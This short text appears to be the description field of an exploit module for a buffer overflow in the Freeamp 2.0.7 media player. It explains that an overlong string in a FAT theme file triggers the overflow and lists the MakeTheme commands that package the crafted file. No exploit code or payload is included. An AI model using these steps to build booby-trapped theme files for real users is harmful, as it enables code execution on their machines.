                    This module exploits a buffer overflow vulnerability
                    found in Freeamp 2.0.7. The overflow occurs when an
                    overly long string is parsed in the FAT file. This
                    module creates a txt file that has to be used in the
                    creation of a FAT file. The FAT file then has to be
                    imported as a theme. To create the FAT file you need
                    to first decompress the basic theme template,
                    MakeTheme -d freeamp.fat. Next create the new FAT file
                    MakeTheme crash.fat theme.xml title.txt *.bmp.
